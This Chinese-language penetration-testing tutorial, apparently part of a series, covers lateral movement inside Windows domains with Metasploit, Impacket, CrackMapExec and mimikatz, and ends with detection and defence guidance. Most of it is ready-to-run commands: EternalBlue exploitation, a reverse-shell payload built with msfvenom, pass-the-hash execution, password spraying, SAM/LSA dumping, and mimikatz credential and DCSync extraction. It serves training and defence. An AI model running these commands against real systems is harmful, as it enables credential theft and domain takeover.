12-内网渗透工具栈:Metasploit、Impacket、CrackMapExec、mimikatz实战
合规声明 :本文所有命令与演示仅在本地靶场(VulnHub、Metasploitable、自建域环境)或已签署书面授权的渗透测试项目中执行。未经授权的渗透测试属违法行为,可能触犯《刑法》第285条、第286条。本系列是白帽教程,核心目标是让防御者理解攻击工具的行为特征,从而部署有效的检测规则。
一、四大工具定位与分工总览
初学者最容易犯的错是把工具当"万能锤",见什么敲什么。先建立工具选型心智模型,一个比喻讲清楚:
| 工具 | 比喻 | 定位 |
|---|---|---|
| Metasploit | 重装合成旅 | 漏洞利用框架 + payload 投递 + 后渗透,一条龙但动静大 |
| Impacket | 精准轻武器 | 纯 Python 实现的 Windows 协议级操作,不落地恶意进程、隐蔽 |
| CrackMapExec(CME) | 火力侦察车 | 拿凭据对全网批量验证,快速回答"这组口令能开几扇门" |
| mimikatz | 万能钥匙串 | Windows 凭据瑞士军刀:从内存里掏 hash、票据、明文密码 |
典型攻击流(授权靶场中的标准剧本):
objectivec
① 拿下跳板机(Web 漏洞/钓鱼,前置篇章内容)
② mimikatz 导出本机凭据(钥匙串掏空)
③ CME 批量验证凭据(侦察车扫一遍,找到可横向的目标)
④ Impacket 隐蔽横向(轻武器逐台拿 shell)
⑤ Metasploit 处理复杂利用与后渗透(需要重型火力时才上)
顺序不是死的,但"先侦察后开火、能轻不重"的原则是死的------动静越小的工具越优先,这是实战与靶场刷分的最大区别。
二、Metasploit:全能框架
2.1 msfconsole 核心操作流
安装:Kali 自带。靶场环境用 Metasploitable 2/3 配合练习。
bash
msfconsole # 启动框架
search eternalblue # 搜索模块(示例:MS17-010 永恒之蓝)
use exploit/windows/smb/ms17_010_eternalblue # 选中利用模块
show options # 查看该模块需要填的参数
set RHOSTS 192.168.56.105 # 目标 IP(可填网段批量)
set PAYLOAD windows/x64/meterpreter/reverse_tcp # 设置载荷
set LHOST 192.168.56.102 # 本地监听 IP(回连地址)
exploit # 发起攻击
逐行解释:
search <关键词>:在模块库里检索,支持type:exploit、platform:windows等过滤语法;use <模块路径>:进入模块上下文;show options:列出必填参数,缺失的会有required => true标记;set RHOSTS:目标,注意是复数形式,网段192.168.56.0/24也合法;set PAYLOAD:反弹 shell 载荷,reverse_tcp表示目标主动回连你(穿透防火墙比 bind 模式友好);exploit -j:加-j表示作为后台任务运行。
2.2 meterpreter 常用命令速查
拿到 meterpreter 会话(靶场内)后:
csharp
getuid # 查看当前进程身份(当前权限是谁)
getsystem # 尝试自动提权(尝试多种提权技巧的合集)
sysinfo # 目标系统信息(系统版本/架构,决定后续选 x86/x64 模块)
hashdump # 导出本机 SAM 库中的本地用户 NTLM hash
route add <网段> <子网掩码> <会话id> # 通过被控主机给 MSF 添加内网路由
portfwd add -l 33890 -p 3389 -r 10.0.0.5 # 端口转发
逐行解释:
getuid:先确认身份再决定下一步,提权后再次运行应显示NT AUTHORITY\SYSTEM;getsystem:本质是尝试命名管道模拟等一组合法提权路径,现代系统上经常失败属正常,失败后走第 10 篇讲的内核提权路线;sysinfo:架构信息很关键,x64 目标用 x86 payload 会被拒;hashdump:拿到本地用户 hash,喂给下一节的 CME 批量验证;route:让 MSF 流量借道失陷主机访问其所在内网网段,这是"内网跳板"的雏形;portfwd:把目标机 10.0.0.5 的 3389 转发到本地 33890,直接rdesktop localhost:33890即可达内网远程桌面。
2.3 msfvenom 生成 payload 参数详解
bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f exe -o shell.exe
逐参数解释:
-p:指定 payload 类型(-p windows/x64/shell_reverse_tcp则是普通反弹 cmd);LHOST/LPORT:回连地址与端口,必须是攻击机可达的 IP;-f exe:输出格式,可选dll、ps1(PowerShell 脚本)、python、raw(配合msfvenom ... -f raw -e x86/shikata_ga_nai等编码);-o:输出文件名;- 常配套
-e(编码器)与-i(编码次数),用于基础免杀------注意对现代 EDR 作用有限,免杀是军备竞赛话题,不在本篇展开。
靶场配套监听:
bash
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.102; set LPORT 4444; exploit"
一行解释:启动 handler 模块,载荷参数与生成时完全一致,运行 shell.exe 后回连即得会话。
三、Impacket:协议级轻武器
Impacket 是纯 Python 的网络协议库 + 一套现成脚本,pip 安装:pip install impacket。它的精髓:所有操作走 SMB/WMI/LDAP 等标准协议,不投递可执行文件、不落恶意进程,Windows 侧看起来就是"正常远程管理"。
3.1 四大 exec 脚本场景对比
bash
# psexec:功能最全(上传文件+回显完整),原理类似微软 PsExec,会在目标创建服务(痕迹最重)
psexec.py lab.local/administrator:Passw0rd@192.168.56.10
# smbexec:不落文件,靠反复创建批处理服务执行命令,交互慢但相对隐蔽
smbexec.py lab.local/administrator:Passw0rd@192.168.56.10
# wmiexec:走 WMI 协议,不落服务,默认每条命令产生 wmic 进程痕迹
wmiexec.py lab.local/administrator:Passw0rd@192.168.56.10
# atexec:通过创建计划任务(at/schtasks)执行命令,适合一次性任务
atexec.py lab.local/administrator:Passw0rd@192.168.56.10 whoami
逐行解释:
- 目标参数格式统一为
域/用户:密码@IP;密码换位:hash位置时支持哈希传递 ------把密码换成LM:NT两段 hash(如aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0),即 PtH,呼应第 11 篇原理; - psexec 在目标创建名为随机字符串的服务,事件日志 7045(服务安装)是它的经典指纹;
- wmiexec 是实战场最喜欢的一个:交互快、不落服务,但注意 WMI 服务的命令会话默认工作目录是
C:\Windows\System32; - atexec 的命令通过
schtasks注册执行,日志 4698(计划任务创建)会记一笔。
3.2 secretsdump.py:导出 hash
bash
secretsdump.py lab.local/administrator:Passw0rd@192.168.56.10
secretsdump.py -outputfile hashes lab.local/administrator@192.168.56.10 -hashes aad3b...:31d6...
逐行解释:
- 无参数运行时对远程目标执行 hash 转储(在目标上会调用卷影副本等手段读取 SAM/LSA secrets);
-hashes选项再次体现 PtH:有 hash 就不需要明文;- 输出包含本地 SAM 账户 hash、LSA secrets(缓存的域凭据、服务明文密码等),是凭据滚雪球的核心燃料;
- 打下域控后对 DC 运行可导出 ntds.dit 中全域账户 hash(含 krbtgt,接第 11 篇黄金票据)。
四、CrackMapExec:批量验证火力网
CME(新版已演进为 NetExec)用一句话介绍:给一组凭据、一个网段,它告诉你这组凭据能在哪些机器上开火。
bash
# 批量验证域凭据("密码喷洒"思路的验证工具)
cme smb 192.168.56.0/24 -u users.txt -p 'Passw0rd' --continue-on-success
# 用 hash 做哈希传递批量验证
cme smb 192.168.56.0/24 -u administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0
# 枚举目标机本地 SAM hash(需要本地管理员权限)
cme smb 192.168.56.0/24 -u administrator -p 'Passw0rd' --sam
# 导出 LSA secrets(缓存凭据/服务密码)
cme smb 192.168.56.0/24 -u administrator -p 'Passw0rd' --lsa
逐行解释:
- 第一条:
users.txt是用户名列表,对整个 /24 网段逐台尝试,成功的主机返回(Pwn3d!)标记;--continue-on-success让它命中后不停下、继续扫完全网------横向移动的第一张火力分布图; - 第二条:
-H指定 NTLM hash(区别于小写-p指定密码),配合用户名直接 PtH 批量验证; - 第三条:
--sam在凭据有效的机器上导出本地 SAM 库 hash; - 第四条:
--lsa导出 LSA secrets,经常能翻出跑在机器上的服务账号明文密码。
协议支持:cme smb、cme winrm(WinRM 执行命令)、cme mssql(MSSQL 枚举与执行)------每换一个协议参数,走的就是完全不同的端口与日志通道。
五、mimikatz 命令速查
mimikatz(需 SYSTEM 权限运行)是 Windows 凭据导出的天花板,靶场中最常用的四条:
php
privilege::debug # 申请调试权限(操作 LSASS 内存的前置条件)
sekurlsa::logonpasswords # 导出 LSASS 内所有登录会话的凭据(hash/明文)
sekurlsa::tickets # 导出内存中的 Kerberos 票据(供 PtT)
lsadump::dcsync /domain:lab.local /user:krbtgt # DCSync 导出域账号 hash
逐行解释:
privilege::debug:获取 SeDebugPrivilege,没有它打开 LSASS 进程会被拒绝,返回ERROR kuhl_m_privilege_simple时先确认自己是不是 SYSTEM;sekurlsa::logonpasswords:遍历 LSASS 里 msv/wdigest/kerberos 等凭据提供程序,输出 NTLM hash 与可恢复的明文(Win8+ 默认 wdigest 明文关闭,看到大量 null 属正常,hash 照样能用);sekurlsa::tickets:列出当前会话持有的 TGT/ST,配合/export导出 kirbi 票据文件供其他机器注入(PtT 落地);lsadump::dcsync:第 11 篇已详述原理,此处不再展开。
防御视角必须知道:mimikatz 的全部操作集中在读取 LSASS 进程内存,所以"禁止非白名单进程访问 LSASS"是针对它的最直接防御(下一节)。
六、工具组合的典型攻击流复盘
把四件套串一遍(全程在授权域靶场,仅作复盘):
- 失陷成员机 上 MSF 会话执行
getsystem+hashdump,拿到本地管理员 hash; mimikatz执行sekurlsa::logonpasswords,翻出登录过这台机器的域用户 hash(Tier 模型没做好时,这里可能直接出现域管 hash);cme smb <网段> -u admin -H <hash> --continue-on-success画出可横向主机清单;- 对高价值目标用
wmiexec.py(PtH)拿交互 shell,动最小; - 遇到域控补丁缺失,
secretsdump.py或 DCSync 导出全域 hash; - 拿到 krbtgt hash 后进入第 13 篇的持久化环节。
七、检测与防御(防御者重点)
7.1 流量特征与协议审计
- MSF 反弹 shell :默认 meterpreter 通信是加密 TLV 流量走 4444/TCP 端口,异常端口长连接是基础特征;
http/https类型载荷伪装成正常浏览流量但心跳周期规律(默认每几秒一次 GET),JA3S/TLS 指纹与流量节奏双管齐下; - Impacket 系 :SMB 会话中的异常 User-Agent(脚本自带 UA 特征字符串)、短会高频命令执行模式;7045(服务安装)异常服务名 对应 psexec,4698(计划任务)短时批量创建对应 atexec------这两条是性价比极高的告警规则;
- CME 扫描:单源 IP 短时间对整个网段的 445 端口认证尝试,配合同 hash 多机器 4624/4776 事件聚合,直接命中"密码喷洒"检测场景;
- WMI/WinRM 审计:开启 WMI 操作的命令审计、脚本块日志(Script Block Logging)可以抓到 WMI 通道里执行的命令内容。
7.2 EDR 对 meterpreter 与 mimikatz 的检测
- LSASS 访问防护 :Windows Defender Credential Guard(VBS 隔离 LSASS)与各类 EDR 的"进程访问 LSASS"策略,直接掐死
sekurlsa::系列;检测逻辑为非白名单进程 OpenProcess LSASS + ReadProcessMemory 行为; - meterpreter 检测:注入行为(CreateRemoteThread 等 API 调用链)、reflective DLL 注入的内存特征扫描、payload 加载时的 RWX 内存页特征;
- 行为聚合 :现代 EDR 单点特征易绕,但
getsystem(命名管道提权)、hashdump(卷影读取 SAM)与 mimikatz 的 API 调用序列在行为链检测下命中率很高------这也是"工具党永远追不上检测方"的根本原因。
7.3 给蓝队的落地清单
- 域内全量部署 EDR,重点开启 LSASS 保护和脚本块日志;
- 事件日志集中外发(SIEM),本地日志清理不致盲(呼应第 14 篇);
- 对 7045/4698/4624(type 9)/4662(DCSync)建立专项告警;
- 用 LAPS 消灭本地管理员口令复用,让 CME 的批量命中失效。
八、小结
工具是原理的放大器:第 11 篇的 PtH 原理落到 Impacket 的 -hashes 参数、CME 的 -H 参数上;Kerberos 体系落到 mimikatz 的 tickets 导出上。学工具的正确姿势是"每个参数背后能说出一个协议原理",反过来,蓝队检测规则的本质也是"每个工具行为背后有一个可审计的协议动作"。下一篇进入权限维持------拿到权限之后,如何让权限"丢了还能找回来",以及防守方如何斩草除根。